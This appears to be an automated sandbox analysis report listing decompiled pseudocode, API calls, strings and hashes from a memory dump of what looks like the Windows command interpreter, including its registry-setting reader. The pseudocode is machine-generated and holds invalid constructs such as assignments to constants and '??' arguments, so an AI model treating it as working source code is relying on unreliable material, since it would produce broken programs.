				void* _t29;
				void* _t30;
				WCHAR* _t36;
				intOrPtr _t57;
				WCHAR* _t59;
				int _t60;
				WCHAR* _t72;
				struct HINSTANCE__* _t76;
				intOrPtr* _t80;
				int _t88;
				WCHAR* _t89;
				WCHAR* _t91;
				void* _t95;
				void* _t98;
				short _t100;
				intOrPtr* _t109;
				WCHAR* _t113;
				short _t122;
				short* _t125;
				void* _t129;
				long _t131;
				intOrPtr* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t136;
				void* _t137;
				signed int _t138;
				void* _t139;

				_t95 = __ebx;
				_t26 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t26 ^ _t138;
				_t133 = __ecx;
				_v104 = __ecx;
				 *0x8a3858 = 0x8a385c;
				InitializeCriticalSection(0x8a385c);
				EnterCriticalSection( *0x8a3858);
				_t131 = 0;
				 *0x89d544 = 0;
				LeaveCriticalSection( *0x8a3858);
				_t29 = SetConsoleCtrlHandler(E00896D90, 1);
				__imp___get_osfhandle(0x8a387c);
				_t30 = GetConsoleMode(_t29, 1);
				__imp___get_osfhandle(0, 0x8a3878);
				_pop(_t98);
				GetConsoleMode(_t30, ??);
				E008806C0(_t98);
				 *0x8a3834 = E00883AAE();
				 *0x8a3830 = E00883B2C(_t98);
				E008841DD(_t133);
				_t36 = GetCommandLineW();
				_t3 =  &(_t36[1]); // 0x2
				_t125 = _t3;
				do {
					_t100 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t100 != 0);
				_t144 = (_t36 - _t125 >> 1) + 1 - 0x2000;
				if((_t36 - _t125 >> 1) + 1 > 0x2000) {
					_push(0);
					E0087C5A2(0x2000);
					_t103 = 0x400023df;
					do {
						__eflags = E00884B60(__eflags, 0);
					} while (__eflags == 0);
					L21:
					exit(1);
					L22:
					_push(_t131);
					E0087C5A2(_t103);
					_t103 = 0x2374;
					do {
						__eflags = E00884B60(__eflags, _t131);
					} while (__eflags == 0);
					goto L21;
				}
				_t103 =  &_v100;
				E00882A7C( &_v100, 0x2000, _t144);
				_t134 = _v100;
				if(_t134 == 0) {
					goto L22;
				}
				E00881040(_t134, 0x2000, GetCommandLineW());
				if(E00880C70(0x8b3ab0, ((0 |  *0x8b3cbc == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104) < 0) {
					_push(0);
					E0087C5A2(0x8b3ab0);
					_t103 = 0x2374;
					do {
						__eflags = E00884B60(__eflags, 0);
					} while (__eflags == 0);
					goto L21;
				}
				_t108 =  *0x8b3cb8;
				if( *0x8b3cb8 == 0) {
					_t108 = 0x8b3ab0;
				}
				E008836CB(_t95, _t108,  *0x8b3cc0, _t131);
				E0087CEA9();
				_t109 = _t134;
				_t129 = _t109 + 2;
				do {
					_t57 =  *_t109;
					_t109 = _t109 + 2;
					_t149 = _t57 - _t131;
				} while (_t57 != _t131);
				E0087D3F4(_v104, _t149, _t134, _t109 - _t129 >> 1);
				_t59 =  *0x8b3cb8;
				_t130 = 0x8b3ab0;
				_t113 = _t59;
				if(_t59 == 0) {
					_t113 = 0x8b3ab0;
				}
				_t135 = 0x5c;
				_t136 = _v100;
				if( *_t113 == _t135) {
					_t103 = _t59;
					__eflags = _t59;
					if(_t59 == 0) {
						_t103 = _t130;
					}
					_t137 = 0x5c;
					__eflags = _t103[1] - _t137;
					_t136 = _v100;
					if(_t103[1] != _t137) {
						goto L10;
					} else {
						__eflags =  *0x8b8528;
						if( *0x8b8528 != 0) {
							goto L10;
						}
						__eflags = _t59;
						if(_t59 == 0) {
							_t59 = _t130;
						}
						E0087C5A2(_t103, 0x400023c8, 1, _t59);
						_t91 =  *0x8b3cb8;
						_t139 = _t139 + 0xc;
						__eflags = _t91;
						if(_t91 == 0) {
							_t91 = 0x8b3ab0;
						}
						__eflags = GetWindowsDirectoryW(_t91,  *0x8b3cc0);
						if(__eflags == 0) {
							do {
								__eflags = E00884B60(__eflags, _t131);
							} while (__eflags == 0);
							goto L21;
						} else {
							_t124 =  *0x8b3cb8;
							__eflags =  *0x8b3cb8;
							if(__eflags == 0) {
								_t124 = 0x8b3ab0;
							}
							_t130 = 0;
							E008833FC(_t95, _t124, 0, _t131, _t136, __eflags);
							goto L10;
						}
					}
				} else {
					L10:
					_t60 = GetConsoleOutputCP();
					 *0x8a3854 = _t60;
					GetCPInfo(_t60, 0x8a3840);
					E00883F80();
					_t64 = HeapAlloc(GetProcessHeap(), _t131, 0x20c);
					 *0x8a3874 = _t64;
					if(_t64 != 0 && _t64 == 0) {
						_t64 =  *0x8a3874;
						 *( *0x8a3874) = 0;
					}
					if( *0x8b3ccc == _t131) {
						__eflags = E0088269C(_t64);
						if(__eflags == 0) {
							goto L13;
						}
						__eflags =  *0x89d5a0 - _t131; // 0x0
						if(__eflags != 0) {
							L51:
							_t122 =  *0x89d5a0; // 0x0
							E00897DF1(_t122, _t136);
							goto L13;
						}
						_t88 = GetConsoleScreenBufferInfo(GetStdHandle(0xfffffff5),  &_v96);
						__eflags = _t88;
						if(_t88 == 0) {
							_t89 =  *0x89d5a0; // 0x0
						} else {
							_t89 = _v96.wAttributes;
							 *0x89d5a0 = _t89;
						}
						__eflags = _t89;
						if(__eflags == 0) {
							goto L13;
						} else {
							goto L51;
						}
					} else {
						L13:
						if( *((intOrPtr*)(_v104 + 8)) == _t131) {
							_v100 = E00896456(__eflags);
							E0087443C( &_v72);
							E0087C108( &_v72, 0x2350, 1,  &_v72);
							E008825D9(L"\r\n");
							_t72 = _v100;
							__eflags = _t72;
							if(_t72 == 0) {
								_push(_t131);
								_push(8);
								E0087C5A2( &_v72);
							} else {
								_push(_t72);
								E008825D9(L"%s");
								E008825D9(L"\r\n");
							}
							GlobalFree(_v100);
						}
						_t76 = GetModuleHandleW(L"KERNEL32.DLL");
						 *0x89d0d0 = _t76;
						 *0x8a388c = GetProcAddress(_t76, "CopyFileExW");
						GetProcAddress( *0x89d0d0, "IsDebuggerPresent");
						 *0x8a3888 = GetProcAddress( *0x89d0d0, "SetConsoleInputExeNameW");
						_t80 = _v104;
						if( *_t80 != _t131 ||  *((intOrPtr*)(_t80 + 4)) != _t131 ||  *((intOrPtr*)(_t80 + 8)) != _t131) {
							_t131 = 1;
						}
						__imp__??_V@YAXPAX@Z();
						return E00886FD0(_t131, _t95, _v8 ^ _t138, _t130, _t131, _t136, _t136);
					}
				}
			}

0x00883d27
0x00883d2f
0x00883d36
0x00883d3f
0x00883d43
0x00883d46
0x00883d4b
0x00883d57
0x00883d63
0x00883d65
0x00883d6b
0x00883d78
0x00883d85
0x00883d8d
0x00883d99
0x00883d9f
0x00883da1
0x00883da7
0x00883db1
0x00883dbd
0x00883dc2
0x00883dc7
0x00883dcd
0x00883dcd
0x00883dd0
0x00883dd0
0x00883dd3
0x00883dd6
0x00883de5
0x00883de7
0x0088e043
0x0088e049
0x0088e04f
0x0088e050
0x0088e056
0x0088e056
0x0088e05a
0x0088e05c
0x0088e062
0x0088e062
0x0088e068
0x0088e06e
0x0088e06f
0x0088e075
0x0088e075
0x00000000
0x0088e079
0x00883def
0x00883df2
0x00883df7
0x00883dfc
0x00000000
0x00000000
0x00883e10
0x00883e38
0x0088e07b
0x0088e081
0x0088e087
0x0088e088
0x0088e08e
0x0088e08e
0x00000000
0x0088e092
0x00883e3e
0x00883e46
0x0088e094
0x0088e094
0x00883e53
0x00883e58
0x00883e5d
0x00883e5f
0x00883e62
0x00883e62
0x00883e65
0x00883e68
0x00883e68
0x00883e76
0x00883e7b
0x00883e80
0x00883e85
0x00883e89
0x0088e09e
0x0088e09e
0x00883e91
0x00883e95
0x00883e98
0x0088e0a5
0x0088e0a7
0x0088e0a9
0x0088e0ab
0x0088e0ab
0x0088e0af
0x0088e0b0
0x0088e0b4
0x0088e0b7
0x00000000
0x0088e0bd
0x0088e0bd
0x0088e0c4
0x00000000
0x00000000
0x0088e0ca
0x0088e0cc
0x0088e0ce
0x0088e0ce
0x0088e0d8
0x0088e0dd
0x0088e0e2
0x0088e0e5
0x0088e0e7
0x0088e0e9
0x0088e0e9
0x0088e0fb
0x0088e0fd
0x0088e11a
0x0088e120
0x0088e120
0x00000000
0x0088e0ff
0x0088e0ff
0x0088e105
0x0088e107
0x0088e109
0x0088e109
0x0088e10e
0x0088e110
0x00000000
0x0088e110
0x0088e0fd
0x00883e9e
0x00883e9e
0x00883e9e
0x00883eaa
0x00883eaf
0x00883eb5
0x00883ec7
0x00883ecd
0x00883ed4
0x0088e129
0x0088e130
0x0088e130
0x00883ef0
0x0088e140
0x0088e142
0x00000000
0x00000000
0x0088e148
0x0088e14f
0x0088e183
0x0088e183
0x0088e189
0x00000000
0x0088e189
0x0088e15e
0x0088e164
0x0088e166
0x0088e174
0x0088e168
0x0088e168
0x0088e16c
0x0088e16c
0x0088e17a
0x0088e17d
0x00000000
0x00000000
0x00000000
0x00000000
0x00883ef6
0x00883ef6
0x00883efc
0x0088e19b
0x0088e19e
0x0088e1ae
0x0088e1b8
0x0088e1bd
0x0088e1c3
0x0088e1c5
0x0088e1e1
0x0088e1e2
0x0088e1e4
0x0088e1c7
0x0088e1c7
0x0088e1cd
0x0088e1d7
0x0088e1dc
0x0088e1ef
0x0088e1ef
0x00883f07
0x00883f13
0x00883f29
0x00883f2e
0x00883f45
0x00883f4a
0x00883f4f
0x00883f5d
0x00883f5d
0x00883f5f
0x00883f77
0x00883f77
0x00883ef0

APIs

InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(008A385C), ref: 00883D4B
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00883D57
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00883D6B
SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(00896D90,00000001), ref: 00883D78
_get_osfhandle.MSVCRT ref: 00883D85
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00883D8D
_get_osfhandle.MSVCRT ref: 00883D99
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00883DA1

Part of subcall function 008806C0: _get_osfhandle.MSVCRT ref: 008806D8
Part of subcall function 008806C0: SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,008938A5), ref: 008806E2
Part of subcall function 008806C0: _get_osfhandle.MSVCRT ref: 008806EF
Part of subcall function 008806C0: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 008806F9
Part of subcall function 008806C0: _get_osfhandle.MSVCRT ref: 0088071E
Part of subcall function 008806C0: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00880728
Part of subcall function 008806C0: _get_osfhandle.MSVCRT ref: 00880750
Part of subcall function 008806C0: SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 0088075A

Part of subcall function 00883AAE: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,00883A9F), ref: 00883AB2
Part of subcall function 00883AAE: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,00000000), ref: 00883ACD
Part of subcall function 00883AAE: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00883AD4
Part of subcall function 00883AAE: memcpy.MSVCRT ref: 00883AE3
Part of subcall function 00883AAE: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000), ref: 00883AEC

Part of subcall function 00883B2C: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000004,?,00883DBB), ref: 00883B33
Part of subcall function 00883B2C: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00883DBB), ref: 00883B3A

Part of subcall function 008841DD: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Microsoft\Command Processor,00000000,02000000,?), ref: 0088423D
Part of subcall function 008841DD: RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,DisableUNCCheck,00000000,?,?,?), ref: 0088427D
Part of subcall function 008841DD: RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,EnableExtensions,00000000,00000001,?,00001000), ref: 008842B7
Part of subcall function 008841DD: RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,DelayedExpansion,00000000,00000001,?,00001000), ref: 00884307
Part of subcall function 008841DD: RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,DefaultColor,00000000,00000001,?,00001000), ref: 00884341

GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00883DC7
GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00883E02
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,-00000105,00000000), ref: 00883E9E
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,008A3840), ref: 00883EAF
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,0000020C), ref: 00883EC0
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00883EC7
GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000,00000104), ref: 00883EDC
GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(KERNEL32.DLL), ref: 00883F07
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,CopyFileExW), ref: 00883F18
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(IsDebuggerPresent), ref: 00883F2E
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(SetConsoleInputExeNameW), ref: 00883F3F
??_V@YAXPAX@Z.MSVCRT ref: 00883F5F

Strings

SetConsoleInputExeNameW, xrefs: 00883F34
IsDebuggerPresent, xrefs: 00883F1E
KERNEL32.DLL, xrefs: 00883F02
CopyFileExW, xrefs: 00883F0D

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Console$HeapMode_get_osfhandle$QueryValue$AddressAllocCriticalProcProcessSection$CommandEnvironmentLineStrings$CtrlEnterFreeHandleHandlerInfoInitializeLeaveModuleOpenOutputTitlememcpy
String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
API String ID: 570592814-3021193919
Opcode ID: 861e90e3ae23f4bae5866540f552081751ac0513c79e41aaffe5ba8eddd29dbb
Instruction ID: 4eec40f6eb3204aa28371d16cb72c0de4d1d93ba7d1c8e936a3affe35a94139e
Opcode Fuzzy Hash: 861e90e3ae23f4bae5866540f552081751ac0513c79e41aaffe5ba8eddd29dbb
Instruction Fuzzy Hash: A4A1F631600705ABDB14BFB8AC5AA6E37B5FF84700B144129F60AD72A1EF78DE41CB52

Uniqueness

Uniqueness Score: -1.00%

Function 008841DD, Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 311
registryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E008841DD(intOrPtr* __ecx) {
				signed int _v8;
				char _v4100;
				long _v4104;
				int _v4108;
				int _v4112;
				void* _v4116;
				intOrPtr _v4120;
				intOrPtr _v4124;
				char _v4128;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t85;
				int _t88;
				long _t97;
				long _t114;
				long _t127;
				long _t130;
				wchar_t* _t131;
				wchar_t* _t135;
				wchar_t* _t139;
				void* _t144;
				long _t146;
				void* _t151;
				long _t152;
				void* _t153;
				signed int _t159;
				intOrPtr* _t162;
				intOrPtr _t163;
				signed int _t166;
				void* _t167;
				void* _t189;

				E00888290(0x101c);
				_t85 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t85 ^ _t166;
				_t162 = __ecx;
				_v4128 = 0x80000002;
				_v4124 = 0x80000001;
				_t163 = 2;
				 *0x8b3cc9 = 1;
				_t144 =  &_v4128 - __ecx;
				_v4120 = _t163;
				while(1) {
					_t88 = RegOpenKeyExW( *(_t144 + _t162), L"Software\\Microsoft\\Command Processor", 0, 0x2000000,  &_v4116);
					if(_t88 != 0) {
						goto L33;
					}
					_v4108 = _v4108 & _t88;
					_v4112 = 0x1000;
					if(RegQueryValueExW(_v4116, L"DisableUNCCheck", 0,  &_v4108,  &_v4104,  &_v4112) == 0) {
						if(_v4108 != 4) {
							if(_v4108 == 1) {
								_t139 =  &_v4104;
								__imp___wtol(_t139);
								asm("sbb al, al");
								 *0x8b8528 =  ~(_t139 - 1) + 1;
							}
						} else {
							 *0x8b8528 = _v4104 != 0;
						}
					}
					_v4112 = 0x1000;
					_t97 = RegQueryValueExW(_v4116, L"EnableExtensions", 0,  &_v4108,  &_v4104,  &_v4112);
					if(_t97 == 0) {
						if(_v4108 != 4) {
							if(_v4108 == 1) {
								_t135 =  &_v4104;
								__imp___wtol(_t135);
								asm("sbb al, al");
								 *0x8b3cc9 =  ~(_t135 - 1) + 1;
							}
						} else {
							 *0x8b3cc9 = _v4104 != _t97;
						}
					}
					_v4112 = 0x1000;
					if(RegQueryValueExW(_v4116, L"DelayedExpansion", 0,  &_v4108,  &_v4104,  &_v4112) == 0) {
						if(_v4108 != 4) {
							if(_v4108 == 1) {
								_t131 =  &_v4104;
								__imp___wtol(_t131);
								asm("sbb al, al");
								 *0x8b3cc8 =  ~(_t131 - 1) + 1;
							}
						} else {
							 *0x8b3cc8 = _v4104 != 0;
						}
					}
					_v4112 = 0x1000;
					if(RegQueryValueExW(_v4116, L"DefaultColor", 0,  &_v4108,  &_v4104,  &_v4112) != 0) {
						L11:
						_v4112 = 0x1000;
						if(RegQueryValueExW(_v4116, L"CompletionChar", 0,  &_v4108,  &_v4104,  &_v4112) != 0) {
							L19:
							_v4112 = 0x1000;
							if(RegQueryValueExW(_v4116, L"PathCompletionChar", 0,  &_v4108,  &_v4104,  &_v4112) != 0) {
								_t114 =  *0x89d0d4; // 0x20
								0x800 = 0x20;
								L27:
								_t146 =  *0x89d0d8; // 0x20
								if(_t146 != 0x800) {
									L29:
									if(_t189 == 0 && _t146 < 0x800) {
										 *0x89d0d4 = _t146;
									}
									L31:
									_v4112 = 0x1000;
									if(RegQueryValueExW(_v4116, L"AutoRun", 0,  &_v4108,  &_v4104,  &_v4112) == 0) {
										if(_v4108 == 2) {
											_t159 = _v4112 >> 1;
											_t165 =  &_v4100 + _t159 * 2;
											if(ExpandEnvironmentStringsW( &_v4104,  &_v4100 + _t159 * 2, 0x7fe - _t159) == 0) {
												_v4104 = 0;
											} else {
												E00881040( &_v4104, 0x800, _t165);
											}
											_t163 = _v4120;
										}
										if(_v4104 != 0) {
											 *_t162 = E0087DF40( &_v4104);
										}
									}
									_t88 = RegCloseKey(_v4116);
									goto L33;
								}
								_t189 = _t114 - 0x800;
								if(_t189 < 0) {
									 *0x89d0d8 = _t114;
									goto L31;
								}
								goto L29;
							}
							if(_v4108 != 4) {
								if(_v4108 != 1) {
									_t114 =  *0x89d0d4; // 0x20
									goto L23;
								}
								_t114 = wcstol( &_v4104, 0, 0);
								_t167 = _t167 + 0xc;
								goto L22;
							} else {
								_t114 = _v4104;
								L22:
								 *0x89d0d4 = _t114;
								L23:
								if(_t114 == 0) {
									0x800 = 0x20;
									L26:
									_t114 = 0x800;
									 *0x89d0d4 = 0x800;
									goto L27;
								}
								_t151 = 0xd;
								0x800 = 0x20;
								if(_t114 == _t151 || _t114 > 0x800) {
									goto L26;
								} else {
									goto L27;
								}
							}
						}
						if(_v4108 != 4) {
							if(_v4108 != 1) {
								_t127 =  *0x89d0d8; // 0x20
								goto L15;
							}
							_t127 = wcstol( &_v4104, 0, 0);
							_t167 = _t167 + 0xc;
							goto L14;
						} else {
							_t127 = _v4104;
							L14:
							 *0x89d0d8 = _t127;
							L15:
							if(_t127 == 0) {
								_t152 = 0x20;
								L18:
								 *0x89d0d8 = _t152;
								goto L19;
							}
							_t153 = 0xd;
							_t152 = 0x20;
							if(_t127 == _t153 || _t127 > _t152) {
								goto L18;
							} else {
								goto L19;
							}
						}
					} else {
						if(_v4108 != 4) {
							if(_v4108 != 1) {
								goto L11;
							}
							_t130 = wcstol( &_v4104, 0, 0);
							_t167 = _t167 + 0xc;
							goto L10;
						} else {
							_t130 = _v4104;
							L10:
							 *0x89d5a0 = _t130;
							goto L11;
						}
					}
					L33:
					_t162 = _t162 + 4;
					_t163 = _t163 - 1;
					_v4120 = _t163;
					if(_t163 == 0) {
						__imp__time();
						srand(_t88);
						return E00886FD0(_t88, _t144, _v8 ^ _t166, 0x800, _t162, _t163, 0);
					}
				}
			}

0x008841e7
0x008841ec
0x008841f3
0x008841fb
0x008841fd
0x0088420d
0x00884217
0x00884218
0x0088421f
0x00884221
0x00884227
0x0088423d
0x00884245
0x00000000
0x00000000
0x0088424b
0x0088425e
0x00884285
0x0088e517
0x0088e533
0x0088e539
0x0088e540
0x0088e54a
0x0088e54e
0x0088e54e
0x0088e519
0x0088e520
0x0088e520
0x0088e517
0x00884291
0x008842b7
0x008842bf
0x008842c8
0x0088e55f
0x0088e565
0x0088e56c
0x0088e576
0x0088e57a
0x0088e57a
0x008842ce
0x008842d4
0x008842d4
0x008842c8
0x008842e1
0x0088430f
0x0088e58b
0x0088e5a7
0x0088e5ad
0x0088e5b4
0x0088e5be
0x0088e5c2
0x0088e5c2
0x0088e58d
0x0088e594
0x0088e594
0x0088e58b
0x0088431b
0x00884349
0x00884365
0x0088436b
0x00884399
0x008843d5
0x008843db
0x00884409
0x0088e65c
0x0088e664
0x0088444a
0x0088444a
0x00884454
0x00884463
0x00884463
0x008844f0
0x008844f0
0x0088446e
0x00884474
0x008844a2
0x0088e67c
0x0088e68a
0x0088e69a
0x0088e6a7
0x0088e6be
0x0088e6a9
0x0088e6b5
0x0088e6b5
0x0088e6c5
0x0088e6c5
0x0088e6d3
0x0088e6e4
0x0088e6e4
0x0088e6d3
0x008844ae
0x00000000
0x008844ae
0x0088445a
0x0088445d
0x0088e66a
0x00000000
0x0088e66a
0x00000000
0x0088445d
0x00884416
0x0088e62e
0x0088e649
0x00000000
0x0088e649
0x0088e63b
0x0088e641
0x00000000
0x0088441c
0x0088441c
0x00884423
0x00884423
0x00884429
0x0088442c
0x0088e656
0x00884442
0x00884442
0x00884444
0x00000000
0x00884444
0x00884434
0x00884437
0x0088443b
0x00000000
0x00000000
0x00000000
0x00000000
0x0088443b
0x00884416
0x008843a2
0x0088e5f9
0x0088e614
0x00000000
0x0088e614
0x0088e606
0x0088e60c
0x00000000
0x008843a8
0x008843a8
0x008843af
0x008843af
0x008843b5
0x008843b8
0x0088e621
0x008843ce
0x008843ce
0x00000000
0x008843ce
0x008843c0
0x008843c6
0x008843c7
0x00000000
0x00000000
0x00000000
0x00000000
0x008843c7
0x0088434b
0x00884352
0x0088e5d3
0x00000000
0x00000000
0x0088e5e4
0x0088e5ea
0x00000000
0x00884358
0x00884358
0x0088435f
0x0088435f
0x00000000
0x0088435f
0x00884352
0x008844b4
0x008844b4
0x008844b7
0x008844ba
0x008844c0
0x008844c8
0x008844cf
0x008844e7
0x008844e7
0x008844c0

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Microsoft\Command Processor,00000000,02000000,?), ref: 0088423D
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,DisableUNCCheck,00000000,?,?,?), ref: 0088427D
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,EnableExtensions,00000000,00000001,?,00001000), ref: 008842B7
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,DelayedExpansion,00000000,00000001,?,00001000), ref: 00884307
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,DefaultColor,00000000,00000001,?,00001000), ref: 00884341
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,CompletionChar,00000000,00000001,?,00001000), ref: 00884391
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,PathCompletionChar,00000000,00000001,?,00001000), ref: 00884401
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,AutoRun,00000000,00000004,?,00001000), ref: 0088449A
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 008844AE
time.MSVCRT ref: 008844C8
srand.MSVCRT ref: 008844CF

Strings

DisableUNCCheck, xrefs: 00884272
DefaultColor, xrefs: 00884336
EnableExtensions, xrefs: 008842AC
AutoRun, xrefs: 0088448F
PathCompletionChar, xrefs: 008843F6
Software\Microsoft\Command Processor, xrefs: 00884235
DelayedExpansion, xrefs: 008842FC
CompletionChar, xrefs: 00884386

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: QueryValue$CloseOpensrandtime
String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
API String ID: 145004033-3846321370
Opcode ID: a790217f66602cde31206c077d9bac12f3abf2ff97410fc6bc96e77b412488d8
Instruction ID: ea205702e2f19c22f77b2eb0e936b0867f7c66a804d023531cb273b6a93a6059
Opcode Fuzzy Hash: a790217f66602cde31206c077d9bac12f3abf2ff97410fc6bc96e77b412488d8
Instruction Fuzzy Hash: 95C1B3359002A9EADF32AB10DD04BD977B8FB18706F1041D7E689E2190E7B49EC8CF59

Uniqueness

Uniqueness Score: -1.00%

Function 008965A0, Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 430
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E008965A0(WCHAR* __edx, WCHAR* _a4, long _a8, WCHAR* _a12, long _a16, signed int _a20, int _a24, short* _a28, void* _a32, signed int _a36, signed int _a40, WCHAR* _a44, WCHAR* _a48, void* _a52, long _a56, char _a60, intOrPtr _a68, void _a72, void* _a592, char _a596, long _a600, void _a608, void _a610, short _a1128, signed int _a4204) {
				void* _v0;
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t137;
				WCHAR* _t150;
				void* _t155;
				long _t157;
				WCHAR* _t160;
				signed int _t161;
				WCHAR* _t164;
				void* _t172;
				long _t174;
				WCHAR* _t175;
				signed int _t176;
				WCHAR* _t178;
				long _t181;
				WCHAR* _t182;
				WCHAR* _t183;
				WCHAR* _t184;
				void* _t190;
				long _t192;
				WCHAR* _t195;
				int _t197;
				void* _t198;
				WCHAR* _t199;
				void* _t202;
				WCHAR* _t206;
				long _t208;
				void* _t212;
				void* _t213;
				void* _t222;
				unsigned int _t226;
				WCHAR* _t228;
				void* _t232;
				unsigned int _t234;
				void* _t235;
				long _t245;
				int _t246;
				WCHAR* _t251;
				WCHAR* _t252;
				signed char* _t254;
				intOrPtr _t257;
				WCHAR* _t258;
				union _LARGE_INTEGER _t263;
				void* _t264;
				void* _t266;
				void* _t267;
				int _t268;
				WCHAR* _t269;
				signed int _t270;
				signed int _t273;
				signed int _t274;
				signed int _t275;

				_t253 = __edx;
				_t274 = _t273 & 0xfffffff8;
				E00888290(0x1074);
				_t137 =  *0x89d0b4; // 0x987dc5f4
				_a4204 = _t137 ^ _t274;
				_a56 = _a56 | 0xffffffff;
				_t262 = _a4;
				_a600 = 0x104;
				_a48 = _a4;
				_t266 = 0;
				_a52 = 0;
				_t212 = 1;
				_a20 = 0;
				_a60 = 0x7fffffff;
				_a32 = 0;
				_a36 = 0;
				_a40 = 1;
				_a592 = 0;
				_a596 = 1;
				memset( &_a72, 0, 0x104);
				_t275 = _t274 + 0xc;
				if(E00880C70( &_a72, ((0 | _a596 == 0x00000000) - 0x00000001 & 0x00007ee3) + 0x104) >= 0) {
					_t253 = 0;
					_t263 = E0087D120(_t262, 0,  &_a72);
					__eflags = _t263 - 0xffffffff;
					if(_t263 != 0xffffffff) {
						L13:
						_a28 =  &_a608;
						_t150 = E00880178( &_a608);
						__eflags = _t150;
						if(_t150 == 0) {
							_t202 =  &_a60;
							__imp___get_osfhandle(_t202);
							_a56 = GetFileSize(_t202, _t263);
							__imp___get_osfhandle(0);
							SetFilePointer(0, _t263, 0, 0);
							_t30 =  &_a36;
							 *_t30 = _a36 & _t266;
							__eflags =  *_t30;
							_a32 = _t212;
						}
						while(1) {
							L15:
							__eflags =  *0x89d544;
							if( *0x89d544 != 0) {
								break;
							}
							_t155 =  &_a608;
							__imp___get_osfhandle(_t155, 0x200,  &_a4, 0);
							_t222 = _t263;
							_t156 = ReadFile(_t155, ??, ??, ??, ??);
							__eflags = _t156;
							if(_t156 == 0) {
								L81:
								_t157 = GetLastError();
								_push(0);
								_push(_t157);
								 *0x8b3cf0 = _t157;
								E0087C5A2(_t222);
								L82:
								E0087DB92(_t263);
								_t212 = 0;
								goto L87;
							}
							_t226 = _a4;
							__eflags = _t226;
							if(_t226 == 0) {
								goto L82;
							}
							__eflags = _a40;
							if(_a40 == 0) {
								L21:
								_a24 = _t226;
								__eflags = _t266;
								if(_t266 == 0) {
									L25:
									_t160 = E0088269C(_t156);
									__eflags = _t160;
									if(_t160 != 0) {
										L28:
										_t268 = _a4;
										_t254 =  &_a608;
										_t228 = _t268;
										__eflags = _t268;
										while(1) {
